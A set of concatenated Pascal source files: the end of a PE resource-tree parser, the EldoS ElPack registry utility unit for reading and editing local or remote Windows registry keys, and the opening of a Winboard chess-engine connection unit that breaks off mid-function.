Entry.DataEntryRVA + FBaseRVA; if not Img.RVAExists(DataRVA) then begin Img.Msg.Write(SCategoryResources, 'Bad entry RVA (0x%x)', [DataRVA]); exit; end; // Handle Leaf or Branch. if Entry.IsDataEntryRVA then begin { Leaf node } DataRVA := Entry.DataEntryRVA + FBaseRVA; if not(Img.SeekRVA(DataRVA) and Img.ReadEx(@DataEntry, SizeOf(DataEntry))) then begin Img.Msg.Write(SCategoryResources, 'Bad resource leaf node.'); exit; end; LeafNode := TResourceTreeLeafNode.CreateFromEntry(FPE, DataEntry); Result := LeafNode; end else begin { Branch Node. } // Alloc and fill node. BranchNode := TResourceTreeBranchNode.Create; if RDT <> nil then begin BranchNode.Characteristics := RDT^.Characteristics; BranchNode.TimeDateStamp := RDT^.TimeDateStamp; BranchNode.MajorVersion := RDT^.MajorVersion; BranchNode.MinorVersion := RDT^.MinorVersion; end; // Get sub-level RVA. SubRVA := Entry.SubdirectoryRVA + FBaseRVA; // Read children. ReadNode(BranchNode, SubRVA); Result := BranchNode; end; // Set id or name. if Entry.EntryType = ResourceEntryById then Result.Id := Entry.IntegerID else Result.Name := EntryName; // Add node. ParentNode.Add(Result); end; function TPEResourcesParser.ReadNode(ParentNode: TResourceTreeBranchNode; RVA: TRVA): TParserResult; var Img: TPEImage; RDT: TResourceDirectoryTable; i, Total: integer; begin Img := TPEImage(FPE); if not Img.SeekRVA(RVA) then begin Img.Msg.Write(SCategoryResources, 'Bad resource directory table RVA (0x%x)', [RVA]); exit(PR_ERROR); end; // Read Directory Table. if not Img.ReadEx(@RDT, SizeOf(RDT)) then begin Img.Msg.Write(SCategoryResources, 'Failed to read resource directory table.'); exit(PR_ERROR); end; inc(RVA, SizeOf(RDT)); if (RDT.NumberOfNameEntries = 0) and (RDT.NumberOfIDEntries = 0) then begin Img.Msg.Write(SCategoryResources, 'Node have no name/id entries.'); exit(PR_ERROR); end; // Total number of entries. Total := RDT.NumberOfNameEntries + RDT.NumberOfIDEntries; // Read entries. for i := 0 to Total - 1 do if ReadEntry(ParentNode, RVA, i, @RDT) = nil then exit(PR_ERROR); exit(PR_OK); end; end.
{====================================================} { } { EldoS Visual Components } { } { Copyright (c) 1998-2003, EldoS Corporation } { } {====================================================} {$include elpack2.inc} {$ifdef ELPACK_SINGLECOMP} {$I ElPack.inc} {$else} {$ifdef LINUX} {$I ../ElPack.inc} {$else} {$I ..\ElPack.inc} {$endif} {$endif} unit ElRegUtils; interface uses Windows, Classes; type TRegRootType = (rrtUnknown, rrtHKEY_CLASSES_ROOT, rrtHKEY_CURRENT_USER, rrtHKEY_LOCAL_MACHINE, rrtHKEY_USERS, rrtHKEY_CURRENT_CONFIG); TRegRoots = set of TRegRootType; function OpenRegKey (const ComputerName : string; RT : TRegRootType; const KeyName : string; var KeyRes: HKey): Boolean; function IsValidKeyName(Name : string) : boolean; function RootTypeToHandle(RT : TRegRootType) : HKey; function RootTypeName(RT : TRegRootType) : string; function RootTypeShortName(RT : TRegRootType) : string; function ValueTypeToString(VT : Integer) : string; function NameToRootType(const Name : string) : TRegRootType; function KeyHasSubKeys0(Key: HKey; const KeyName : string) : boolean; function KeyHasSubKeys(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; function KeyHasValue(const ComputerName : string; RT : TRegRootType; const KeyName : string; const ValueName : string; var Exists : boolean) : boolean; function KeyGetClassName(const ComputerName : string; RT : TRegRootType; const KeyName : string; var ClassName : string) : boolean; function KeyDelete(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; function KeyClear(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; function KeyCreateSubKey(const ComputerName : string; RT : TRegRootType; const KeyName, SubKeyName, NewClassName : string) : boolean; function KeySetValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName : string; ValueType : integer; Value : Pointer; ValueSize : integer) : boolean; function KeyDeleteValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName : string) : boolean; function KeyRenameValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName, NewName : string) : boolean; function KeyEnumSubKeys0(Key: HKey; const KeyName : string; SL : TStringList) : boolean; function KeyEnumSubKeys(const ComputerName : string; RT : TRegRootType; const KeyName : string; SL : TStringList) : boolean; function KeyEnumValues(const ComputerName : string; RT : TRegRootType; const KeyName : string; SL : TStringList) : boolean; function KeyGetValueInfo(const ComputerName : string; RT : TRegRootType; const KeyName : string; const ValueName : string; var ValueType : integer; var ValueString : string; var ValueSize : integer) : boolean; function CopyKey(const OldComputerName, NewComputerName : string; OldRT, NewRT : TRegRootType; const OldKeyName, NewKeyName : string) : boolean; function GetLastRegError : string; implementation uses ElStrUtils, ElTools, SysUtils; var fListError: TStringList = nil; {-----------} function GetLastRegError : string; begin if fListError <> nil then begin Result := fListError.Text; fListError.Free; fListError := nil; end else Result := ''; end; {-----------} procedure AddError (const ErrMsg: string); begin if fListError = nil then begin fListError := TStringList.Create; fListError.Duplicates := dupIgnore; end; fListError.Add(ErrMsg); end; {-----------} procedure SetLastRegError; var i : integer; Buf : array[0..2048] of char; begin i := GetLastError; if i <> ERROR_SUCCESS then begin FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, i, 0, Buf, sizeof (Buf), nil); AddError (StrPas(Buf)); end; end; function IsValidKeyName(Name : string) : boolean; var i : integer; begin result := true; for i := 1 to Length(Name) do // Iterate begin if (not (Name[i] in [#32..#127])) or (Name[i] in ['*', '?']) then begin result := false; break; end; end; // for end; { function GetLastRegError : string; begin result := fLastRegError; fLastRegError := ''; end; procedure SetLastRegError; var i : integer; Buf : array[0..2048] of char; begin i := GetLastError; if i <> ERROR_SUCCESS then begin FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, nil, i, 0, Buf, sizeof (Buf), nil); fLastRegError := StrPas(Buf); end; end; } function KeyClear(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; var SL : TStringList; i : integer; begin SL := TStringList.Create; if KeyEnumSubKeys(ComputerName, RT, KeyName, SL) then begin result := true; for i := 0 to SL.Count - 1 do // Iterate begin if not KeyDelete(ComputerName, RT, KeyName + '\' + SL[i]) then begin result := false; break; end; end; // for end else result := false; SL.Free; end; function KeyHasValue(const ComputerName : string; RT : TRegRootType; const KeyName : string; const ValueName : string; var Exists : boolean) : boolean; var P : PChar; RK, LK, SK : HKEY; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE, SK) = ERROR_SUCCESS) then begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); Exists := RegQueryValueEx(SK, P, nil, nil, nil, nil) = ERROR_SUCCESS; result := true; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyRenameValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName, NewName : string) : boolean; var P : PChar; RK, LK, SK : HKEY; Value : pointer; ValueSize : DWORD; ValueType : DWORD; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_SET_VALUE or KEY_QUERY_VALUE, SK) = ERROR_SUCCESS) then begin if Length(NewName) = 0 then P := nil else P := PChar(NewName); if RegQueryValueEx(SK, P, nil, @ValueType, nil, @ValueSize) = ERROR_SUCCESS then AddError ('Value name already exists') else begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); if RegQueryValueEx(SK, P, nil, @ValueType, nil, @ValueSize) = ERROR_SUCCESS then begin GetMem(Value, ValueSize); if RegQueryValueEx(SK, P, nil, @ValueType, Value, @ValueSize) = ERROR_SUCCESS then begin if Length(NewName) = 0 then P := nil else P := PChar(NewName); if RegSetValueEx(SK, P, 0, ValueType, Value, ValueSize) = ERROR_SUCCESS then begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); if RegDeleteValue(SK, P) = ERROR_SUCCESS then result := true else begin SetLastRegError; if Length(NewName) = 0 then P := nil else P := PChar(NewName); RegDeleteValue(SK, P); end; end else SetLastRegError; end; FreeMem(Value); end else SetLastRegError; end; //if RegDeleteValue(SK, P) = ERROR_SUCCESS then result := true else SetLastRegError; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyDeleteValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName : string) : boolean; var P : PChar; RK, LK, SK : HKEY; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_WRITE, SK) = ERROR_SUCCESS) then begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); if RegDeleteValue(SK, P) = ERROR_SUCCESS then result := true else SetLastRegError; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeySetValue(const ComputerName : string; RT : TRegRootType; const KeyName, ValueName : string; ValueType : integer; Value : Pointer; ValueSize : integer) : boolean; var P : PChar; RK, LK, SK : HKEY; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_WRITE, SK) = ERROR_SUCCESS) then begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); if RegSetValueEx(SK, P, 0, ValueType, Value, ValueSize) = ERROR_SUCCESS then result := true else SetLastRegError; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyCreateSubKey(const ComputerName : string; RT : TRegRootType; const KeyName, SubKeyName, NewClassName : string) : boolean; var P : PChar; RK, LK, NK, SK : HKEY; Dispos : integer; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_WRITE, SK) = ERROR_SUCCESS) then begin if Length(NewClassName) <> 0 then P := PChar(NewClassName) else P := nil; if RegCreateKeyEx(SK, PChar(SubKeyName), 0, P, 0, KEY_WRITE, nil, NK, @Dispos) = ERROR_SUCCESS then begin RegCloseKey(NK); result := true; end else SetLastRegError; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyDelete(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; var P : PChar; RK, LK, SK : HKEY; Ps, S : string; begin result := false; if (not IsWinNT) or (KeyClear(ComputerName, RT, KeyName)) then begin if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; if Pos('\', KeyName) = 0 then begin Ps := RootTypeName(RT); S := KeyName; end else begin Ps := Copy(KeyName, 1, LastPos('\', KeyName) - 1); S := Copy(KeyName, LastPos('\', KeyName) + 1, Length(KeyName)); end; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(Ps)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(Ps), 0, KEY_WRITE, SK) = ERROR_SUCCESS) then begin result := RegDeleteKey(SK, PChar(S)) = ERROR_SUCCESS; SetLastRegError; if NameToRootType(KeyName) = rrtUnknown then RegCloseKey(SK); end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end else SetLastRegError; end; function CopyKey(const OldComputerName, NewComputerName : string; OldRT, NewRT : TRegRootType; const OldKeyName, NewKeyName : string) : boolean; var OldP, NewP : PChar; OldRK, OldLK, OldSK, NewRK, NewLK, NewSK, HKeyRes : HKEY; MaxKeyLen, CLLen, i, KeyCount : integer; S : string; Len : DWORD; SL : TStringList; ClassName : string; ClNameLen, ValueType, Dispos : integer; DataBuf : Pointer; begin try result := true; if Length(OldComputerName) <> 0 then OldP := PChar(OldComputerName) else OldP := nil; OldLK := RootTypeToHandle(OldRT); if RegConnectRegistry(OldP, OldLK, OldRK) <> ERROR_SUCCESS then raise Exception.Create(''); OldSK := RootTypeToHandle(NameToRootType(OldKeyName)); if OldSK <> HKEY(-1) then OldSK := OldRK; if (OldSK = HKEY(-1)) and (RegOpenKeyEx(OldRK, PChar(OldKeyName), 0, KEY_READ, OldSK) <> ERROR_SUCCESS) then raise Exception.Create(''); if Length(NewComputerName) <> 0 then NewP := PChar(NewComputerName) else NewP := nil; NewLK := RootTypeToHandle(NewRT); if RegConnectRegistry(NewP, NewLK, NewRK) <> ERROR_SUCCESS then raise Exception.Create(''); NewSK := RootTypeToHandle(NameToRootType(NewKeyName)); if NewSK <> HKEY(-1) then NewSK := NewRK; if RegQueryInfoKey(OldSK, nil, @CLNameLen, nil, nil, nil, nil, nil, nil, nil, nil, nil) <> ERROR_SUCCESS then raise Exception.Create(''); SetLength(ClassName, ClNameLen + 1); if RegQueryInfoKey(OldSK, PChar(ClassName), @ClNameLen, nil, nil, nil, nil, nil, nil, nil, nil, nil) <> ERROR_SUCCESS then raise Exception.Create(''); if (NewSK = HKEY(-1)) and (RegCreateKeyEx(NewRK, PChar(NewKeyName), 0, PChar(ClassName), 0, KEY_WRITE, nil, NewSK, @Dispos) <> ERROR_SUCCESS) then raise Exception.Create(''); SL := nil; try SL := TStringList.Create; ClNameLen := 0; if RegQueryInfoKey(OldSK, nil, nil, nil, @KeyCount, @MaxKeyLen, @CLNameLen, nil, nil, nil, nil, nil) <> ERROR_SUCCESS then raise Exception.Create(''); SetLength(S, MaxKeyLen + 1); SetLength(ClassName, ClNameLen + 1); for I := 0 to KeyCount - 1 do begin Len := MaxKeyLen + 1; CLLen := CLNameLen + 1; if RegEnumKeyEx(OldSK, I, PChar(S), Len, nil, PChar(ClassName), @CLLen, nil) <> ERROR_SUCCESS then raise Exception.Create(''); if RegCreateKeyEx(NewSK, PChar(S), 0, PChar(ClassName), 0, KEY_WRITE, nil, HKeyRes, @Dispos) <>ERROR_SUCCESS then raise Exception.Create(''); CopyKey(OldComputerName, NewComputerName, OldRT, NewRT, OldKeyName + '\' + StrPas(PChar(S)), NewKeyName + '\' + StrPas(PChar(S))); RegCloseKey(HKeyRes); end; if RegQueryInfoKey(OldSK, nil, nil, nil, nil, nil, nil, @KeyCount, @MaxKeyLen, nil, nil, nil) <> ERROR_SUCCESS then raise Exception.Create(''); SetLength(S, MaxKeyLen + 1); for I := 0 to KeyCount - 1 do begin Len := MaxKeyLen + 1; if RegEnumValue(OldSK, I, PChar(S), Len, nil, @ValueType, nil, @CLLen) <>ERROR_SUCCESS then raise Exception.Create(''); GetMem(DataBuf, CLLen); Len := MaxKeyLen + 1; RegEnumValue(OldSK, I, PChar(S), Len, nil, @ValueType, PByte(DataBuf), @CLLen); RegSetValueEx(NewSK, PChar(S), 0, ValueType, DataBuf, CLLen); FreeMem(DataBuf); end; finally SL.Free; end; if NameToRootType(NewKeyName) = rrtUnknown then RegCloseKey(NewSK); if NameToRootType(OldKeyName) = rrtUnknown then RegCloseKey(OldSK); RegCloseKey(OldRK); except on E : Exception do begin SetLastRegError; result := false; end; end; end; function KeyGetClassName(const ComputerName : string; RT : TRegRootType; const KeyName : string; var ClassName : string) : boolean; var P : PChar; RK, LK, SK : HKEY; MaxKeyLen : integer; S : string; begin result := false; ClassName := ''; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS) then begin if RegQueryInfoKey(SK, nil, @MaxKeyLen, nil, nil, nil, nil, nil, nil, nil, nil, nil) = ERROR_SUCCESS then begin SetLength(S, MaxKeyLen + 1); if RegQueryInfoKey(SK, PChar(S), @MaxKeyLen, nil, nil, nil, nil, nil, nil, nil, nil, nil) = ERROR_SUCCESS then begin ClassName := S; result := true; end else SetLastRegError; end else SetLastRegError; if NameToRootType(KeyName) = rrtUnknown then RegCloseKey(SK); end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyEnumValues(const ComputerName : string; RT : TRegRootType; const KeyName : string; SL : TStringList) : boolean; var P : PChar; RK, LK, SK : HKEY; MaxKeyLen : integer; i, KeyCount : integer; S : string; Len: dword; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE, SK) = ERROR_SUCCESS) then begin if RegQueryInfoKey (SK, nil, nil, nil, nil, nil, nil, @KeyCount, @MaxKeyLen, nil, nil, nil) = ERROR_SUCCESS then begin SetLength(S, MaxKeyLen + 1); result := true; for I := 0 to KeyCount - 1 do begin Len := MaxKeyLen + 1; if RegEnumValue(SK, I, PChar(S), Len, nil, nil, nil, nil) <> ERROR_SUCCESS then begin result := false; SetLastRegError; break; end; SL.Add(PChar(S)); end; end else SetLastRegError; if NameToRootType(KeyName) = rrtUnknown then RegCloseKey(SK); end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyGetValueInfo; var P : PChar; RK, LK, SK : HKEY; BufLen : integer; Buf : PByte; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE, SK) = ERROR_SUCCESS) then begin if Length(ValueName) = 0 then P := nil else P := PChar(ValueName); if RegQueryValueEx(SK, P, nil, nil, nil, @BufLen) = ERROR_SUCCESS then begin GetMem(Buf, BufLen); if RegQueryValueEx(SK, P, nil, @ValueType, Buf, @BufLen) = ERROR_SUCCESS then begin if (ValueType = REG_SZ) or (ValueType = REG_EXPAND_SZ) then ValueString := StrPas(PChar(Buf)) else if ValueType = REG_DWORD then ValueString := IntToStr(PInteger(Buf)^) else if ValueType = REG_MULTI_SZ then begin SetLength(ValueString, BufLen); MoveMemory(PChar(ValueString), Buf, BufLen); while ElStrUtils.Replace(ValueString, #0, #13#10) do ; Delete(ValueString, Length(ValueString) - 3, 4); end else begin ValueString := ElStrUtils.Data2Str(Buf, BufLen); Delete(ValueString, 1, Pos(' ', ValueString)); Delete(ValueString, 1, Pos(' ', ValueString)); end; result := true; end; FreeMem(Buf); end else SetLastRegError; end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyEnumSubKeys(const ComputerName : string; RT : TRegRootType; const KeyName : string; SL : TStringList) : boolean; var P : PChar; RK, LK, SK : HKEY; MaxKeyLen : integer; KeyCount : integer; S : string; i, Len : DWORD; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS) then begin if RegQueryInfoKey(SK, nil, nil, nil, @KeyCount, @MaxKeyLen, nil, nil, nil, nil, nil, nil) = ERROR_SUCCESS then begin SetLength(S, MaxKeyLen + 1); result := true; for I := 0 to KeyCount - 1 do begin Len := MaxKeyLen + 1; if RegEnumKeyEx(SK, I, PChar(S), Len, nil, nil, nil, nil) <> ERROR_SUCCESS then begin result := false; SetLastRegError; break; end; SL.Add(PChar(S)); end; end else SetLastRegError; if NameToRootType(KeyName) = rrtUnknown then RegCloseKey(SK); end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function KeyHasSubKeys(const ComputerName : string; RT : TRegRootType; const KeyName : string) : boolean; var P : PChar; RK, LK, SK : HKEY; i, KeyCount : integer; begin result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS) then begin i := RegQueryInfoKey(SK, nil, nil, nil, @KeyCount, nil, nil, nil, nil, nil, nil, nil); if i = ERROR_SUCCESS then result := KeyCount > 0; if NameToRootType(KeyName) = rrtUnknown then RegCloseKey(SK); end else SetLastRegError; RegCloseKey(RK); end else SetLastRegError; end; function NameToRootType; begin if Name = 'HKEY_LOCAL_MACHINE' then result := rrtHKEY_LOCAL_MACHINE else if Name = 'HKEY_USERS' then result := rrtHKEY_USERS else if Name = 'HKEY_CURRENT_USER' then result := rrtHKEY_CURRENT_USER else if Name = 'HKEY_CLASSES_ROOT' then result := rrtHKEY_CLASSES_ROOT else if Name = 'HKEY_CURRENT_CONFIG' then result := rrtHKEY_CURRENT_CONFIG else result := rrtUnknown; end; function RootTypeName; begin case RT of rrtHKEY_LOCAL_MACHINE : result := 'HKEY_LOCAL_MACHINE'; rrtHKEY_USERS : result := 'HKEY_USERS'; rrtHKEY_CURRENT_USER : result := 'HKEY_CURRENT_USER'; rrtHKEY_CLASSES_ROOT : result := 'HKEY_CLASSES_ROOT'; rrtHKEY_CURRENT_CONFIG : result := 'HKEY_CURRENT_CONFIG'; else result := ''; end; end; function RootTypeShortName(RT : TRegRootType) : string; begin case RT of rrtHKEY_LOCAL_MACHINE: Result := 'HKLM'; rrtHKEY_USERS: Result := 'HKEY_USERS'; rrtHKEY_CURRENT_USER: Result := 'HKCU'; rrtHKEY_CLASSES_ROOT: Result := 'HKCR'; rrtHKEY_CURRENT_CONFIG: Result := 'HKCC'; else Result := ''; end; end; {-----------} function ValueTypeToString(VT : Integer) : string; begin case VT of REG_BINARY : result := 'REG_BINARY'; REG_SZ : result := 'REG_SZ'; REG_MULTI_SZ : result := 'REG_MULTI_SZ'; REG_EXPAND_SZ : result := 'REG_EXPAND_SZ'; REG_DWORD : result := 'REG_DWORD'; REG_NONE : result := 'REG_NONE'; REG_LINK : result := 'REG_LINK'; REG_RESOURCE_LIST : result := 'REG_RESOURCE_LIST'; REG_DWORD_BIG_ENDIAN : result := 'REG_DWORD_BIG_ENDIAN'; else result := 'REG_NONE'; end; end; function RootTypeToHandle; begin case RT of rrtHKEY_LOCAL_MACHINE : result := HKEY_LOCAL_MACHINE; rrtHKEY_USERS : result := HKEY_USERS; rrtHKEY_CURRENT_USER : result := HKEY_CURRENT_USER; rrtHKEY_CLASSES_ROOT : result := HKEY_CLASSES_ROOT; rrtHKEY_CURRENT_CONFIG : result := HKEY_CURRENT_CONFIG; else result := HKEY(-1); end; end; function KeyHasSubKeys0(Key: HKey; const KeyName : string) : boolean; var SK: HKey; KeyCount: integer; begin Result := FALSE; if RegOpenKeyEx(Key, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS then begin try if RegQueryInfoKey(SK, nil, nil, nil, @KeyCount, nil, nil, nil, nil, nil, nil, nil) = ERROR_SUCCESS then Result := (KeyCount > 0); finally RegCloseKey(SK); end; end; end; {-----------} function KeyEnumSubKeys0(Key: HKey; const KeyName : string; SL : TStringList) : boolean; var SK : HKEY; i, MaxKeyLen, KeyCount : integer; S : string; Len: dword; begin Result := FALSE; if Trim (KeyName) = '' then SK := Key; if (SK = Key) OR (RegOpenKeyEx(Key, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS) then begin try if RegQueryInfoKey(SK, nil, nil, nil, @KeyCount, @MaxKeyLen, nil, nil, nil, nil, nil, nil) = ERROR_SUCCESS then begin SetLength(S, MaxKeyLen + 1); Result := TRUE; dec (KeyCount); for i := 0 to KeyCount do begin Len := MaxKeyLen + 1; if RegEnumKeyEx(SK, I, PChar(S), Len, nil, nil, nil, nil) <> ERROR_SUCCESS then begin Result := FALSE; SetLastRegError; System .break; end; SL.Add(PChar(S)); end; end else SetLastRegError; finally if (Key <> SK) then RegCloseKey(SK); end; end else SetLastRegError; end; {-----------} function OpenRegKey (const ComputerName : string; RT : TRegRootType; const KeyName : string; var KeyRes: HKey): Boolean; var P : PChar; RK, LK, SK : HKEY; begin Result := false; if Length(ComputerName) <> 0 then P := PChar(ComputerName) else P := nil; LK := RootTypeToHandle(RT); if RegConnectRegistry(P, LK, RK) = ERROR_SUCCESS then begin SK := RootTypeToHandle(NameToRootType(KeyName)); if SK <> HKEY(-1) then SK := RK; if (SK <> HKEY(-1)) or (RegOpenKeyEx(RK, PChar(KeyName), 0, KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS, SK) = ERROR_SUCCESS) then begin Result := TRUE; KeyRes := SK; end; RegCloseKey(RK); end; end; {-----------} initialization finalization if fListError <> nil then fListError.Free; end.
{ Unit with the basics to communicate with engines that use the winboard protocol. I used some code of the TProcess example also: https://lazarus-ccr.svn.sourceforge.net/svnroot/lazarus-ccr/examples/process/ } unit winboardConn; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Forms, Process, StdCtrls, SorokinRegExpr, chessgame; type moveInCoord = array[1..2] of TPoint; TWinboardConn = class public procedure startEngine(path : String); procedure stopEngine(freeProcess : boolean); destructor Destroy; override; procedure tellMove(move : String); function engineMove() : moveInCoord; function coordToString(AFrom, ATo : TPoint; pieceFrom, pieceTo : TChessTile) : String; function stringToCoord(moveStr : String) : moveInCoord; private procedure readFromPipe; function extractMove : string; function letterToNumber(num:String) : Integer; function numberToLetter(n : integer) : String; //procedure detectEngine(path : String); end; const nilCoord : moveInCoord = ((X:-1; Y:-1), (X:-1; Y:-1)); var engineProcess : TProcess; outputText : String; vwinboardConn : TWinboardConn; algebraicInput: boolean; engineRegExpression: TRegExpr; operator=(A, B: moveInCoord): Boolean; implementation operator=(A, B: moveInCoord): Boolean; begin Result := (A[1].X = B[1].X) and (A[1].Y = B[1].Y) and (A[2].X = B[2].X) and (A[2].Y = B[2].Y); end; destructor TWinboardConn.Destroy; begin stopEngine(True); Inherited Destroy; end; procedure TWinboardConn.startEngine(path : String); var extraCommands : String; begin //stop engine if it is running stopEngine(False); //create TProcess and start the engine in xboard mode engineProcess:= TProcess.Create(nil); engineRegExpression:= TRegExpr.Create; engineProcess.CommandLine := path; engineProcess.Options := engineProcess.Options + [poUsePipes]; engineProcess.Execute; extraCommands:='xboard' + #13 + #10; EngineProcess.Input.Write(extraCommands[1], length(extraCommands)); extraCommands:='level 60 0.5 3' + #13 + #10; EngineProcess.Input.Write(extraCommands[1], length(extraCommands)); extraCommands:='easy' + #13 + #10; EngineProcess.Input.Write(extraCommands[1], length(extraCommands)); outputText:=''; end; procedure TWinboardConn.stopEngine(freeProcess : boolean); begin if engineProcess<>nil then if engineProcess.Running then begin engineProcess.Input.WriteAnsiString('quit'+#13+#10); engineProcess.Terminate(0); end; if freeProcess then begin engineProcess.free; end; end; procedure TWinboardConn.tellMove(move : String); begin move := move+#13+#10; EngineProcess.Input.Write(move[1], length(move)); end; //return the engine move. function TWinboardConn.engineMove : moveInCoord; var move : String; points: moveInCoord; begin points := nilCoord; engineRegExpression.Expression:='(?m)^(My move|my move|move)( is|)(: | : | )'; readFromPipe; if engineRegExpression.Exec(outputText) then begin move := extractMove; points := stringToCoord(move); end; result := points; end; function TWinboardConn.coordToString(AFrom, ATo : TPoint; pieceFrom, pieceTo : TChessTile) : String; var move : String; begin move:= numberToLetter(AFrom.X); move:= move + intToStr(AFrom.Y); move:= move + numberToLetter(ATo.X); move:= move + IntToStr(ATo.Y); result:=move; end; function TWinboardConn.numberToLetter(n : integer) : String; begin case n of 1 : result := 'a'; 2 : result := 'b'; 3 : result := 'c'; 4 : result := 'd'; 5 : result := 'e'; 6 : result := 'f'; 7 : result := 'g'; 8 : result := 'h'; end; end; function TWinboardConn.stringToCoord(moveStr : String) : moveInCoord; var move : moveInCoord; begin if moveStr[1] in ['P','R','N','B','Q','K'] then Delete(moveStr,1,1); move[1].X:=letterToNumber(moveStr[1]); move[1].Y:=StrToInt(moveStr[2]); if moveStr[3] in ['x','-'] then Delete(moveStr,3,1); if moveStr[4] in ['P','R','N','B','Q','K'] then Delete(moveStr,4,1); move[2].X:=letterToNumber(moveStr[3]); 